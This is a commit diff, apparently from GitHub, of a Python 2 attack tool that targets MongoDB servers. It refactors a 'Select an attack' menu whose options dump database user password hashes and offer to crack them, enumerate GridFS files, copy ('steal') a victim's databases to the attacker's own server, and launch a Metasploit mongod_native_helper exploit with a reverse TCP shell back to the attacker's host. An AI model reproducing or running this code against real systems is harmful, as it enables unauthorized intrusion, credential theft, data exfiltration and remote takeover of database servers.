@@ -374,6 +374,7 @@ def netAttacks(target):
374
374
print "================="
375
375
mgtOpen = False
376
376
webOpen = False
377
+ mgtSelect = True
377
378
#This is a global for future use with other modules; may change
378
379
global dbList
379
380
global dbPort
@@ -435,99 +436,123 @@ def netAttacks(target):
435
436
dbTemp = dbs ['databases' ][x ]['name' ]
436
437
print str (menuItem ) + "-" + dbTemp
437
438
menuItem += 1
439
+ else :
440
+ print "REST interface not enabled."
438
441
print "\n "
439
442
440
- else :
441
- print "REST interface not enabled."
442
-
443
- except :
444
-
443
+ except :
445
444
print "MongoDB web management closed or requires authentication."
446
445
447
- print "\n "
448
446
if mgtOpen == True :
449
- print "Server Info:"
450
- mongoVer = conn .server_info ()['version' ]
451
- print "MongoDB Version: " + mongoVer
452
- mongoDebug = conn .server_info ()['debug' ]
453
- print "Debugs enabled : " + str (mongoDebug )
454
- mongoPlatform = conn .server_info ()['bits' ]
455
- print "Platform: " + str (mongoPlatform ) + " bit"
456
- print "\n "
457
447
458
- try :
459
- print "List of databases:"
460
- dbList = conn .database_names ()
461
- print "\n " .join (dbList )
448
+ while mgtSelect :
462
449
print "\n "
450
+ print "1-Get Server Version and Platform"
451
+ print "2-Enumerate Databases/Collections/Users"
452
+ print "3-Check for GridFS"
453
+ print "4-Clone a Database"
454
+ print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
455
+ print "6-Return to Main Menu"
456
+ attack = raw_input ("Select an attack: " )
457
+
458
+ if attack == "1" :
459
+ print "\n "
460
+ getPlatInfo (conn )
463
461
464
- except :
465
- print "Error: Couldn't list databases. The provided credentials may not have rights."
466
-
467
- print "List of collections:"
468
- #print "\n"
469
-
470
- try :
471
- for dbItem in dbList :
472
- db = conn [dbItem ]
473
- colls = db .collection_names ()
474
- print dbItem + ":"
475
- print "\n " .join (colls )
462
+ if attack == "2" :
463
+ print "\n "
464
+ enumDbs (conn )
465
+
466
+ if attack == "3" :
467
+ print "\n "
468
+ enumGrid (conn )
469
+
470
+ if attack == "4" :
471
+ print "\n "
472
+ stealDBs (myIP ,conn )
473
+
474
+ if attack == "5" :
476
475
print "\n "
476
+ msfLaunch ()
477
+
478
+ if attack == "6" :
479
+ return
480
+
481
+
477
482
478
- if 'system.users' in colls :
479
- users = list (db .system .users .find ())
480
- print "Database Users and Password Hashes:"
483
+ def getPlatInfo (mongoConn ):
484
+ print "Server Info:"
485
+ print "MongoDB Version: " + mongoConn .server_info ()['version' ]
486
+ print "Debugs enabled : " + str (mongoConn .server_info ()['debug' ])
487
+ print "Platform: " + str (mongoConn .server_info ()['bits' ]) + " bit"
488
+ print "\n "
489
+ return
490
+
491
+ def enumDbs (mongoConn ):
492
+ try :
493
+ print "List of databases:"
494
+ print "\n " .join (mongoConn .database_names ())
495
+ print "\n "
496
+
497
+ except :
498
+ print "Error: Couldn't list databases. The provided credentials may not have rights."
499
+
500
+ print "List of collections:"
501
+
502
+ try :
503
+ for dbItem in mongoConn .database_names ():
504
+ db = mongoConn [dbItem ]
505
+ print dbItem + ":"
506
+ print "\n " .join (db .collection_names ())
507
+ print "\n "
508
+
509
+ if 'system.users' in db .collection_names ():
510
+ users = list (db .system .users .find ())
511
+ print "Database Users and Password Hashes:"
481
512
482
- for x in range (0 ,len (users )):
483
- print "Username: " + users [x ]['user' ]
484
- print "Hash: " + users [x ]['pwd' ]
485
- print "\n "
486
- crack = raw_input ("Crack this hash (y/n)? " )
513
+ for x in range (0 ,len (users )):
514
+ print "Username: " + users [x ]['user' ]
515
+ print "Hash: " + users [x ]['pwd' ]
516
+ print "\n "
517
+ crack = raw_input ("Crack this hash (y/n)? " )
487
518
488
- if crack in yes_tag :
489
- passCrack (users [x ]['user' ],users [x ]['pwd' ])
519
+ if crack in yes_tag :
520
+ passCrack (users [x ]['user' ],users [x ]['pwd' ])
490
521
491
- except :
492
- print "Error: Couldn't list collections. The provided credentials may not have rights."
493
-
494
- print "\n "
495
- #Start GridFS enumeration
496
-
497
- testGrid = raw_input ("Check for GridFS (y/n)? " )
522
+ except :
523
+ print "Error: Couldn't list collections. The provided credentials may not have rights."
498
524
499
- if testGrid in yes_tag :
525
+ print "\n "
526
+ return
527
+
528
+ def enumGrid (mongoConn ):
529
+ try :
530
+ for dbItem in mongoConn .database_names ():
500
531
try :
501
- for dbItem in dbList :
502
- try :
503
- db = conn [dbItem ]
504
- fs = gridfs .GridFS (db )
505
- files = fs .list ()
506
- print "GridFS enabled on database " + str (dbItem )
507
- print " list of files:"
508
- print "\n " .join (files )
532
+ db = mongoConn [dbItem ]
533
+ fs = gridfs .GridFS (db )
534
+ files = fs .list ()
535
+ print "GridFS enabled on database " + str (dbItem )
536
+ print " list of files:"
537
+ print "\n " .join (files )
509
538
510
- except :
511
- print "GridFS not enabled on " + str (dbItem ) + "."
512
539
except :
513
- print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
540
+ print "GridFS not enabled on " + str (dbItem ) + "."
541
+
542
+ except :
543
+ print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
514
544
515
- stealDB = raw_input ("Steal a database (y/n-Requires your own Mongo server)?: " )
516
-
517
- if stealDB in yes_tag :
518
- stealDBs (myIP )
545
+ return
546
+
519
547
520
- getShell = raw_input ("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? " )
521
-
522
- if getShell in yes_tag :
523
- #Launch Metasploit exploit
524
- try :
525
- proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
548
+ def msfLaunch ():
549
+ try :
550
+ proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
526
551
527
- except :
528
- print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
552
+ except :
553
+ print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
529
554
raw_input ("Press enter to continue..." )
530
- return ()
555
+ return
531
556
532
557
533
558
def postApps ():
@@ -1276,7 +1301,8 @@ def buildUri(origUri, randValue):
1276
1301
1277
1302
return uriArray [0 ]
1278
1303
1279
- def stealDBs (myDB ):
1304
+ def stealDBs (myDB ,mongoConn ):
1305
+ dbList = mongoConn .database_names ()
1280
1306
menuItem = 1
1281
1307
if optionSet [4 ] == False :
1282
1308
raw_input ("No destination database set! Press enter to return to the main menu." )
@@ -1453,7 +1479,7 @@ def massMongo():
1453
1479
success .append (target )
1454
1480
1455
1481
elif result == 2 :
1456
- print "Successful MongoDB connection but error executing command."
1482
+ print "Successful MongoDB connection to " + target . rstrip () + " but error executing command."
1457
1483
success .append (target )
1458
1484
1459
1485
elif result == 3 :
0 commit comments